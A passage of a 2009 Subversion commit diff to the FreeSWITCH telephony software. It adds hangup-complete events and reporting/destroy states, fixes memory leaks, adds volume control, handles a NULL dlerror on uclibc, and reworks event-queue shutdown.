-					const char *var = switch_channel_get_variable(session->channel, SWITCH_PROCESS_CDR_VARIABLE);
 					const char *hook_var;
 					switch_core_session_t *use_session = NULL;
+					switch_call_cause_t cause = switch_channel_get_cause(session->channel);
+					switch_call_cause_t cause_q850 = switch_channel_get_cause_q850(session->channel);
+					switch_event_t *event;
+		
+					switch_channel_set_hangup_time(session->channel);
+
+					switch_core_media_bug_remove_all(session);
+				
+					switch_channel_stop_broadcast(session->channel);
 					
-					if (!switch_strlen_zero(var)) {
-						if (!strcasecmp(var, "a_only")) {
-							if (switch_channel_get_originator_caller_profile(session->channel)) {
-								do_extra_handlers = 0;
-							}
-						} else if (!strcasecmp(var, "b_only")) {
-							if (switch_channel_get_originatee_caller_profile(session->channel)) {
-								do_extra_handlers = 0;
-							}
-						} else if (!switch_true(var)) {
-							do_extra_handlers = 0;
-						}
-					}
+					switch_channel_set_variable(session->channel, "hangup_cause", switch_channel_cause2str(cause));
+					switch_channel_set_variable_printf(session->channel, "hangup_cause_q850", "%d", cause_q850);
+					switch_channel_presence(session->channel, "unknown", switch_channel_cause2str(cause), NULL);
 					
+					switch_channel_set_timestamps(session->channel);
+					
 					STATE_MACRO(hangup, "HANGUP");
-					
-					switch_core_media_bug_remove_all(session);
 
 					hook_var = switch_channel_get_variable(session->channel, SWITCH_API_HANGUP_HOOK_VARIABLE);
 					if (switch_true(switch_channel_get_variable(session->channel, SWITCH_SESSION_IN_HANGUP_HOOK_VARIABLE))) {
@@ -444,8 +466,17 @@
 						}
 						switch_safe_free(stream.data);
 					}
+
+					if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_HANGUP_COMPLETE) == SWITCH_STATUS_SUCCESS) {
+						switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hangup-Cause", switch_channel_cause2str(cause));
+						switch_channel_event_set_data(session->channel, event);
+						switch_event_fire(&event);
+					}
+				
+					switch_channel_set_state(session->channel, CS_REPORTING);
 				}
-				goto done;
+
+				break;
 			case CS_INIT:		/* Basic setup tasks */
 				STATE_MACRO(init, "INIT");
 				break;
@@ -479,7 +510,7 @@
 				break;
 			}
 
-			if (midstate == CS_DONE) {
+			if (midstate == CS_DESTROY) {
 				break;
 			}
 
@@ -490,6 +521,10 @@
 		if (endstate == switch_channel_get_running_state(session->channel)) {
 			if (endstate == CS_NEW) {
 				switch_cond_next();
+				if (!--new_loops) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "%s Timeout waiting for next instruction in CS_NEW!\n", session->uuid_str);
+					switch_channel_hangup(session->channel, SWITCH_CAUSE_INVALID_CALL_REFERENCE);
+				}
 			} else {
 				switch_thread_cond_wait(session->cond, session->mutex);
 			}
@@ -505,6 +540,80 @@
 	session->thread_running = 0;
 }
 
+SWITCH_DECLARE(void) switch_core_session_destroy_state(switch_core_session_t *session)
+{
+	switch_channel_state_t state = CS_DESTROY, midstate = CS_DESTROY;
+	const switch_endpoint_interface_t *endpoint_interface;
+	const switch_state_handler_table_t *driver_state_handler = NULL;
+	const switch_state_handler_table_t *application_state_handler = NULL;
+	int proceed = 1;
+	int global_proceed = 1;
+	int do_extra_handlers = 1;
+	int silly = 0;
+	int index = 0;
+
+	switch_assert(session != NULL);
+
+	session->thread_running = 1;
+	endpoint_interface = session->endpoint_interface;
+	switch_assert(endpoint_interface != NULL);
+
+	driver_state_handler = endpoint_interface->state_handler;
+	switch_assert(driver_state_handler != NULL);
+	
+	STATE_MACRO(destroy, "DESTROY");
+
+	return;
+}
+
+
+SWITCH_DECLARE(void) switch_core_session_reporting_state(switch_core_session_t *session)
+{
+	switch_channel_state_t state = switch_channel_get_state(session->channel), midstate = state;
+	const switch_endpoint_interface_t *endpoint_interface;
+	const switch_state_handler_table_t *driver_state_handler = NULL;
+	const switch_state_handler_table_t *application_state_handler = NULL;
+	int proceed = 1;
+	int global_proceed = 1;
+	int do_extra_handlers = 1;
+	int silly = 0;
+	int index = 0;
+	const char *var = switch_channel_get_variable(session->channel, SWITCH_PROCESS_CDR_VARIABLE);
+
+	if (switch_channel_test_flag(session->channel, CF_REPORTING)) {
+		return;
+	}
+
+	switch_channel_set_flag(session->channel, CF_REPORTING);
+	
+	switch_assert(session != NULL);
+
+	session->thread_running = 1;
+	endpoint_interface = session->endpoint_interface;
+	switch_assert(endpoint_interface != NULL);
+
+	driver_state_handler = endpoint_interface->state_handler;
+	switch_assert(driver_state_handler != NULL);
+	
+	if (!switch_strlen_zero(var)) {
+		if (!strcasecmp(var, "a_only")) {
+			if (switch_channel_get_originator_caller_profile(session->channel)) {
+				do_extra_handlers = 0;
+			}
+		} else if (!strcasecmp(var, "b_only")) {
+			if (switch_channel_get_originatee_caller_profile(session->channel)) {
+				do_extra_handlers = 0;
+			}
+		} else if (!switch_true(var)) {
+			do_extra_handlers = 0;
+		}
+	}
+
+	STATE_MACRO(reporting, "REPORTING");
+					
+	return;
+}
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Modified: freeswitch/branches/seven/src/switch_core_timer.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_timer.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_timer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *

Modified: freeswitch/branches/seven/src/switch_cpp.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/switch_cpp.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_cpp.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_cpp.cpp -- C++ wrapper
@@ -85,7 +85,7 @@
 	}
 
 	if ((event = (switch_event_t *) pop)) {
-		ret = new Event(event);
+		ret = new Event(event, 1);
 	}
 
 	return ret;
@@ -97,6 +97,10 @@
 		switch_event_unbind(&node);
 	}
 
+	if (events) {
+		switch_queue_interrupt_all(events);
+	}
+
 	switch_core_destroy_memory_pool(&pool);
 }
 
@@ -108,6 +112,8 @@
 											const char *exit_sound,
 											const char *confirm_macro,
 											const char *confirm_key,
+											const char *tts_engine,
+											const char *tts_voice,
 											int confirm_attempts,
 											int inter_timeout,
 											int digit_len,
@@ -123,7 +129,8 @@
 	}
 
 	switch_ivr_menu_init(&menu, main ? main->menu : NULL, name, greeting_sound, short_greeting_sound, invalid_sound, 
-						 exit_sound, confirm_macro, confirm_key, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts, pool);
+						 exit_sound, confirm_macro, confirm_key, tts_engine, tts_voice, confirm_attempts, inter_timeout,
+						 digit_len, timeout, max_failures, max_timeouts, pool);
 	
 
 }
@@ -173,10 +180,22 @@
 	this_check("");
 	SWITCH_STANDARD_STREAM(stream);
 	switch_api_execute(cmd, arg, NULL, &stream);
+	switch_safe_free(last_data);
 	last_data = (char *) stream.data;
 	return last_data;
 }
 
+
+/* we have to do this as a string because swig and languages can't find an embedded way to pass a big int */
+SWITCH_DECLARE(char *) API::getTime(void)
+{
+	switch_time_t now = switch_micro_time_now() / 1000;
+	snprintf(time_buf, sizeof(time_buf), "%" SWITCH_TIME_T_FMT, now);
+	return time_buf;
+}
+
+
+
 SWITCH_DECLARE(const char *) API::executeString(const char *cmd)
 {
 	char *arg;
@@ -270,7 +289,9 @@
 		}
 	} else {
 		if (switch_event_serialize(event, &serialized_string, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
-			serialized_string = switch_mprintf("'%s'", serialized_string);
+			char *new_serialized_string = switch_mprintf("'%s'", serialized_string);
+			free(serialized_string);
+			serialized_string = new_serialized_string;
 			return serialized_string;
 		}
 	}
@@ -487,6 +508,7 @@
 		channel = switch_core_session_get_channel(session);
 		allocated = 1;
 		switch_core_session_read_lock(session);
+		uuid = strdup(switch_core_session_get_uuid(session));
 	}
 }
 
@@ -580,18 +602,14 @@
     return switch_channel_get_variable(channel, var);
 }
 
-SWITCH_DECLARE(void) CoreSession::execute(char *app, char *data)
+SWITCH_DECLARE(void) CoreSession::execute(const char *app, const char *data)
 {
-	const switch_application_interface_t *application_interface;
 	this_check_void();
 	sanity_check_noreturn;
 
-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "CoreSession::execute.  app: %s data:%s\n", app, data);
-	if ((application_interface = switch_loadable_module_get_application_interface(app))) {
-		begin_allow_threads();
-		switch_core_session_exec(session, application_interface, data);
-		end_allow_threads();
-	}
+	begin_allow_threads();
+	switch_core_session_execute_application(session, app, data);
+	end_allow_threads();
 }
 
 SWITCH_DECLARE(void) CoreSession::setDTMFCallback(void *cbfunc, char *funcargs) {
@@ -738,7 +756,10 @@
 		timeout = 1;
 	}
 
+    begin_allow_threads();
 	switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, NULL, dtmf_buf, sizeof(dtmf_buf), timeout, valid_terminators);
+    end_allow_threads();
+
 	return dtmf_buf;
 }
 
@@ -809,6 +830,7 @@
     switch_status_t status;
     //switch_file_handle_t fh = { 0 };
 	const char *prebuf;
+	switch_file_handle_t local_fh;
 
 	this_check(-1);
     sanity_check(-1);
@@ -853,7 +875,12 @@
 SWITCH_DECLARE(bool) CoreSession::ready() {
 
 	this_check(false);
-	sanity_check(false);	
+
+	if (!session) {
+		return false;
+	}
+	sanity_check(false);
+
 	return switch_channel_ready(channel) != 0;
 }
 
@@ -874,6 +901,10 @@
 SWITCH_DECLARE(void) CoreSession::destroy(void)
 {
 	this_check_void();
+	
+	if (!allocated) {
+		return;
+	}
 
 	switch_safe_free(xml_cdr_text);
 	switch_safe_free(uuid);	
@@ -881,15 +912,25 @@
 	switch_safe_free(voice_name);
 
 	if (session) {
+		if (!channel) {
+			channel = switch_core_session_get_channel(session);
+		}
+
+		if (channel) {
+			switch_channel_set_private(channel, "CoreSession", NULL);
+		}
+		
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "destroy/unlink session from object\n");
-        if (switch_test_flag(this, S_HUP) && !switch_channel_test_flag(channel, CF_TRANSFER)) {
+		
+        if (switch_channel_up(channel) && switch_test_flag(this, S_HUP) && !switch_channel_test_flag(channel, CF_TRANSFER)) {
             switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
         }
         switch_core_session_rwunlock(session);
 		session = NULL;
+		channel = NULL;
     }
 
-	allocated = 0;
+	init_vars();
 	
 }
 
@@ -944,6 +985,7 @@
 SWITCH_DECLARE(int) CoreSession::recordFile(char *file_name, int time_limit, int silence_threshold, int silence_hits) 
 {
 	switch_status_t status;
+	switch_file_handle_t local_fh;
 
 	this_check(-1);
 	sanity_check(-1);
@@ -976,7 +1018,7 @@
 	}
 	channel = switch_core_session_get_channel(session);
 
-	while (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+	while (switch_core_session_dequeue_event(session, &event, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
 		switch_event_destroy(&event);
 	}
 	return SWITCH_STATUS_SUCCESS;
@@ -1197,7 +1239,11 @@
     }
 
 	if (fhp) {
-		if (!strncasecmp(result, "speed", 4)) {
+		if (!switch_test_flag(fhp, SWITCH_FILE_OPEN)) {
+			return SWITCH_STATUS_FALSE;
+		}
+
+		if (!strncasecmp(result, "speed", 5)) {
 			char *p;
 		
 			if ((p = strchr(result, ':'))) {
@@ -1217,6 +1263,29 @@
 
 			return SWITCH_STATUS_FALSE;
 
+		} else if (!strncasecmp(result, "volume", 6)) {
+			char *p;
+			
+			if ((p = strchr(result, ':'))) {
+				p++;
+				if (*p == '+' || *p == '-') {
+					int step;
+					if (!(step = atoi(p))) {
+						step = 1;
+					}
+					fhp->vol += step;
+				} else {
+					int vol = atoi(p);
+					fhp->vol = vol;
+				}
+				return SWITCH_STATUS_SUCCESS;
+			}
+			
+			if (fhp->vol) {
+				switch_normalize_volume(fhp->vol);
+			}
+			
+			return SWITCH_STATUS_FALSE;
 		} else if (!strcasecmp(result, "pause")) {
 			if (switch_test_flag(fhp, SWITCH_FILE_PAUSE)) {
 				switch_clear_flag(fhp, SWITCH_FILE_PAUSE);

Modified: freeswitch/branches/seven/src/switch_dso.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_dso.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_dso.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,133 +1,139 @@
-/* 
- * Cross Platform dso/dll load abstraction
- * Copyright(C) 2008 Michael Jerris
- *
- * You may opt to use, copy, modify, merge, publish, distribute and/or sell
- * copies of the Software, and permit persons to whom the Software is
- * furnished to do so.
- *
- * This work is provided under this license on an "as is" basis, without warranty of any kind,
- * either expressed or implied, including, without limitation, warranties that the covered code
- * is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire
- * risk as to the quality and performance of the covered code is with you. Should any covered
- * code prove defective in any respect, you (not the initial developer or any other contributor)
- * assume the cost of any necessary servicing, repair or correction. This disclaimer of warranty
- * constitutes an essential part of this license. No use of any covered code is authorized hereunder
- * except under this disclaimer. 
- *
- */
-
-#include <switch.h>
-#include "switch_dso.h"
-#include <stdlib.h>
-#include <string.h>
-
-#ifdef WIN32
-
-SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib) {
-	if (lib && *lib) {
-		FreeLibrary(*lib);
-		*lib = NULL;
-	}
-}
-
-SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err) {
-    HINSTANCE lib;
-	
-	lib = LoadLibraryEx(path, NULL, 0);
-
-	if (!lib) {
-		LoadLibraryEx(path, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
-	}
-
-	if (!lib) {
-		DWORD error = GetLastError();
-		*err = switch_mprintf("dll open error [%ul]\n", error);
-	}
-
-	return lib;
-}
-
-SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
-	FARPROC func = GetProcAddress(lib, sym);
-	if (!func) {
-		DWORD error = GetLastError();
-		*err = switch_mprintf("dll sym error [%ul]\n", error);
-	}
-	return (switch_dso_func_t)func;
-}
-
-SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
-	FARPROC addr = GetProcAddress(lib, sym);
-	if (!addr) {
-		DWORD error = GetLastError();
-		*err = switch_mprintf("dll sym error [%ul]\n", error);
-	}
-	return (void *)(intptr_t)addr;
-}
-
-
-#else
-/*
-** {========================================================================
-** This is an implementation of loadlib based on the dlfcn interface.
-** The dlfcn interface is available in Linux, SunOS, Solaris, IRIX, FreeBSD,
-** NetBSD, AIX 4.2, HPUX 11, and  probably most other Unix flavors, at least
-** as an emulation layer on top of native functions.
-** =========================================================================
-*/
-
-
-#include <dlfcn.h>
-
-void switch_dso_destroy(switch_dso_lib_t *lib) {
-	if (lib && *lib) {
-		dlclose(*lib);
-		*lib = NULL;
-	}
-}
-
-switch_dso_lib_t switch_dso_open(const char *path, int global, char **err) {
-	void *lib;
-	
-	if (global) {
-		lib = dlopen(path, RTLD_NOW | RTLD_GLOBAL);
-	} else {
-		lib = dlopen(path, RTLD_NOW | RTLD_LOCAL);
-	}
-
-	if (lib == NULL) {
-		*err = strdup(dlerror());
-	}
-	return lib;
-}
-
-switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
-	void *func = dlsym(lib, sym);
-	if (!func) {
-		*err = strdup(dlerror());
-	}
-	return (switch_dso_func_t)(intptr_t)func;
-}
-
-void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
-	void *addr = dlsym(lib, sym);
-	if (!addr) {
-		*err = strdup(dlerror());
-	}
-	return addr;
-}
-
-#endif
-/* }====================================================== */
-
-/* For Emacs:
- * Local Variables:
- * mode:c
- * indent-tabs-mode:t
- * tab-width:4
- * c-basic-offset:4
- * End:
- * For VIM:
- * vim:set softtabstop=4 shiftwidth=4 tabstop=4
- */
+/* 
+ * Cross Platform dso/dll load abstraction
+ * Copyright(C) 2008 Michael Jerris
+ *
+ * You may opt to use, copy, modify, merge, publish, distribute and/or sell
+ * copies of the Software, and permit persons to whom the Software is
+ * furnished to do so.
+ *
+ * This work is provided under this license on an "as is" basis, without warranty of any kind,
+ * either expressed or implied, including, without limitation, warranties that the covered code
+ * is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire
+ * risk as to the quality and performance of the covered code is with you. Should any covered
+ * code prove defective in any respect, you (not the initial developer or any other contributor)
+ * assume the cost of any necessary servicing, repair or correction. This disclaimer of warranty
+ * constitutes an essential part of this license. No use of any covered code is authorized hereunder
+ * except under this disclaimer. 
+ *
+ */
+
+#include <switch.h>
+#include "switch_dso.h"
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef WIN32
+
+SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib) {
+	if (lib && *lib) {
+		FreeLibrary(*lib);
+		*lib = NULL;
+	}
+}
+
+SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err) {
+    HINSTANCE lib;
+	
+	lib = LoadLibraryEx(path, NULL, 0);
+
+	if (!lib) {
+		LoadLibraryEx(path, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
+	}
+
+	if (!lib) {
+		DWORD error = GetLastError();
+		*err = switch_mprintf("dll open error [%ul]\n", error);
+	}
+
+	return lib;
+}
+
+SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+	FARPROC func = GetProcAddress(lib, sym);
+	if (!func) {
+		DWORD error = GetLastError();
+		*err = switch_mprintf("dll sym error [%ul]\n", error);
+	}
+	return (switch_dso_func_t)func;
+}
+
+SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+	FARPROC addr = GetProcAddress(lib, sym);
+	if (!addr) {
+		DWORD error = GetLastError();
+		*err = switch_mprintf("dll sym error [%ul]\n", error);
+	}
+	return (void *)(intptr_t)addr;
+}
+
+
+#else
+/*
+** {========================================================================
+** This is an implementation of loadlib based on the dlfcn interface.
+** The dlfcn interface is available in Linux, SunOS, Solaris, IRIX, FreeBSD,
+** NetBSD, AIX 4.2, HPUX 11, and  probably most other Unix flavors, at least
+** as an emulation layer on top of native functions.
+** =========================================================================
+*/
+
+
+#include <dlfcn.h>
+
+void switch_dso_destroy(switch_dso_lib_t *lib) {
+	if (lib && *lib) {
+		dlclose(*lib);
+		*lib = NULL;
+	}
+}
+
+switch_dso_lib_t switch_dso_open(const char *path, int global, char **err) {
+	void *lib;
+	
+	if (global) {
+		lib = dlopen(path, RTLD_NOW | RTLD_GLOBAL);
+	} else {
+		lib = dlopen(path, RTLD_NOW | RTLD_LOCAL);
+	}
+
+	if (lib == NULL) {
+		const char *dlerr = dlerror();
+		/* Work around broken uclibc returning NULL on both dlopen() and dlerror() */
+		if (dlerr) {
+			*err = strdup(dlerr);
+		} else {
+			*err = strdup("Unknown error");
+		}
+	}
+	return lib;
+}
+
+switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+	void *func = dlsym(lib, sym);
+	if (!func) {
+		*err = strdup(dlerror());
+	}
+	return (switch_dso_func_t)(intptr_t)func;
+}
+
+void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+	void *addr = dlsym(lib, sym);
+	if (!addr) {
+		*err = strdup(dlerror());
+	}
+	return addr;
+}
+
+#endif
+/* }====================================================== */
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Modified: freeswitch/branches/seven/src/switch_event.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_event.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_event.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -74,15 +74,19 @@
 static switch_memory_pool_t *RUNTIME_POOL = NULL;
 static switch_memory_pool_t *THRUNTIME_POOL = NULL;
 #define NUMBER_OF_QUEUES 3
+static switch_thread_t *EVENT_QUEUE_THREADS[NUMBER_OF_QUEUES] = { 0 };
 static switch_queue_t *EVENT_QUEUE[NUMBER_OF_QUEUES] = { 0 };
+static switch_thread_t *EVENT_DISPATCH_QUEUE_THREADS[MAX_DISPATCH_VAL] = { 0 };
 static switch_queue_t *EVENT_DISPATCH_QUEUE[MAX_DISPATCH_VAL] = { 0 };
 static int POOL_COUNT_MAX = SWITCH_CORE_QUEUE_LEN;
 static switch_mutex_t *EVENT_QUEUE_MUTEX = NULL;
 static switch_hash_t *CUSTOM_HASH = NULL;
 static int THREAD_COUNT = 0;
 static int SYSTEM_RUNNING = 0;
+#ifdef SWITCH_EVENT_RECYCLE
 static switch_queue_t *EVENT_RECYCLE_QUEUE = NULL;
 static switch_queue_t *EVENT_HEADER_RECYCLE_QUEUE = NULL;
+#endif
 static void launch_dispatch_threads(uint32_t max, int len, switch_memory_pool_t *pool);
 
 static char *my_dup(const char *s)
@@ -109,11 +113,13 @@
 */
 static char *EVENT_NAMES[] = {
 	"CUSTOM",
+	"CLONE",
 	"CHANNEL_CREATE",
 	"CHANNEL_DESTROY",
 	"CHANNEL_STATE",
 	"CHANNEL_ANSWER",
 	"CHANNEL_HANGUP",
+	"CHANNEL_HANGUP_COMPLETE",
 	"CHANNEL_EXECUTE",
 	"CHANNEL_EXECUTE_COMPLETE",
 	"CHANNEL_BRIDGE",
@@ -168,21 +174,27 @@
 	"GENERAL",
 	"COMMAND",
 	"SESSION_HEARTBEAT",
+	"CLIENT_DISCONNECTED",
+	"SERVER_DISCONNECTED",
+	"SEND_INFO",
+	"RECV_INFO",
+	"CALL_SECURE",
+	"NAT",
 	"ALL"
 };
 
 static int switch_events_match(switch_event_t *event, switch_event_node_t *node)
 {
 	int match = 0;
-
+	
 	if (node->event_id == SWITCH_EVENT_ALL) {
 		match++;
-
+		
 		if (!node->subclass) {
 			return match;
 		}
 	}
-
+	
 	if (match || event->event_id == node->event_id) {
 
 		if (event->subclass_name && node->subclass) {
@@ -227,6 +239,10 @@
 		void *pop = NULL;
 		switch_event_t *event = NULL;
 
+		if (!SYSTEM_RUNNING) {
+			break;
+		}
+
 		if (switch_queue_pop(queue, &pop) != SWITCH_STATUS_SUCCESS) {
 			break;
 		}
@@ -278,6 +294,10 @@
 			break;
 		}
 
+		if (!SYSTEM_RUNNING) {
+			break;
+		}
+
 		event = (switch_event_t *) pop;
 
 		while (event) {
@@ -313,20 +333,22 @@
 	switch_event_types_t e;
 	switch_event_node_t *node;
 
-	switch_thread_rwlock_rdlock(RWLOCK);
-	for (e = (*event)->event_id;; e = SWITCH_EVENT_ALL) {
-		for (node = EVENT_NODES[e]; node; node = node->next) {
-			if (switch_events_match(*event, node)) {
-				(*event)->bind_user_data = node->user_data;
-				node->callback(*event);
+	if (SYSTEM_RUNNING) {
+		switch_thread_rwlock_rdlock(RWLOCK);
+		for (e = (*event)->event_id;; e = SWITCH_EVENT_ALL) {
+			for (node = EVENT_NODES[e]; node; node = node->next) {
+				if (switch_events_match(*event, node)) {
+					(*event)->bind_user_data = node->user_data;
+					node->callback(*event);
+				}
 			}
+			
+			if (e == SWITCH_EVENT_ALL) {
+				break;
+			}
 		}
-
-		if (e == SWITCH_EVENT_ALL) {
-			break;
-		}
+		switch_thread_rwlock_unlock(RWLOCK);
 	}
-	switch_thread_rwlock_unlock(RWLOCK);
 
 	switch_event_destroy(event);
 }
@@ -407,6 +429,8 @@
 
 SWITCH_DECLARE(void) switch_core_memory_reclaim_events(void)
 {
+#ifdef SWITCH_EVENT_RECYCLE
+
 	void *pop;
 	int size;
 	size = switch_queue_size(EVENT_RECYCLE_QUEUE);
@@ -416,12 +440,16 @@
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Returning %d recycled event header(s) %d bytes\n",
 					  size, (int) sizeof(switch_event_header_t) * size);
 
-	while (switch_queue_trypop(EVENT_HEADER_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
+	while (switch_queue_trypop(EVENT_HEADER_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS && pop) {
 		free(pop);
 	}
-	while (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
+	while (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS && pop) {
 		free(pop);
 	}
+#else
+	return;
+#endif
+
 }
 
 SWITCH_DECLARE(switch_status_t) switch_event_shutdown(void)
@@ -438,12 +466,14 @@
 
 	for (x = 0; x < 3; x++) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping event queue %d\n", x);
-		switch_queue_push(EVENT_QUEUE[x], NULL);
+		switch_queue_trypush(EVENT_QUEUE[x], NULL);
+		switch_queue_interrupt_all(EVENT_QUEUE[x]);
 	}
 
 	for (x = 0; x < SOFT_MAX_DISPATCH; x++) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping dispatch queue %d\n", x);
-		switch_queue_push(EVENT_DISPATCH_QUEUE[x], NULL);
+		switch_queue_trypush(EVENT_DISPATCH_QUEUE[x], NULL);
+		switch_queue_interrupt_all(EVENT_DISPATCH_QUEUE[x]);
 	}
 
 	while (x < 10000 && THREAD_COUNT) {
@@ -453,7 +483,35 @@
 		}
 		last = THREAD_COUNT;
 	}
+	
+	for (x = 0; x < SOFT_MAX_DISPATCH; x++) {
+		void *pop = NULL;
+        switch_event_t *event = NULL;
+		switch_status_t st;
 
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping dispatch thread %d\n", x);
+		switch_thread_join(&st, EVENT_DISPATCH_QUEUE_THREADS[x]);
+
+		while (switch_queue_trypop(EVENT_DISPATCH_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
+			event = (switch_event_t *) pop;
+			switch_event_destroy(&event);
+        }
+	}
+
+	for (x = 0; x < NUMBER_OF_QUEUES; x++) {
+		void *pop = NULL;
+        switch_event_t *event = NULL;
+		switch_status_t st;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping queue thread %d\n", x);
+		switch_thread_join(&st, EVENT_QUEUE_THREADS[x]);
+
+		while (switch_queue_trypop(EVENT_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
+			event = (switch_event_t *) pop;
+			switch_event_destroy(&event);
+        }
+	}
+	
 	for (hi = switch_hash_first(NULL, CUSTOM_HASH); hi; hi = switch_hash_next(hi)) {
 		switch_event_subclass_t *subclass;
 		switch_hash_this(hi, &var, NULL, &val);
@@ -472,7 +530,6 @@
 
 static void launch_dispatch_threads(uint32_t max, int len, switch_memory_pool_t *pool)
 {
-	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr;
 	uint32_t index = 0;
 
@@ -492,9 +549,8 @@
 		switch_threadattr_create(&thd_attr, pool);
 		switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
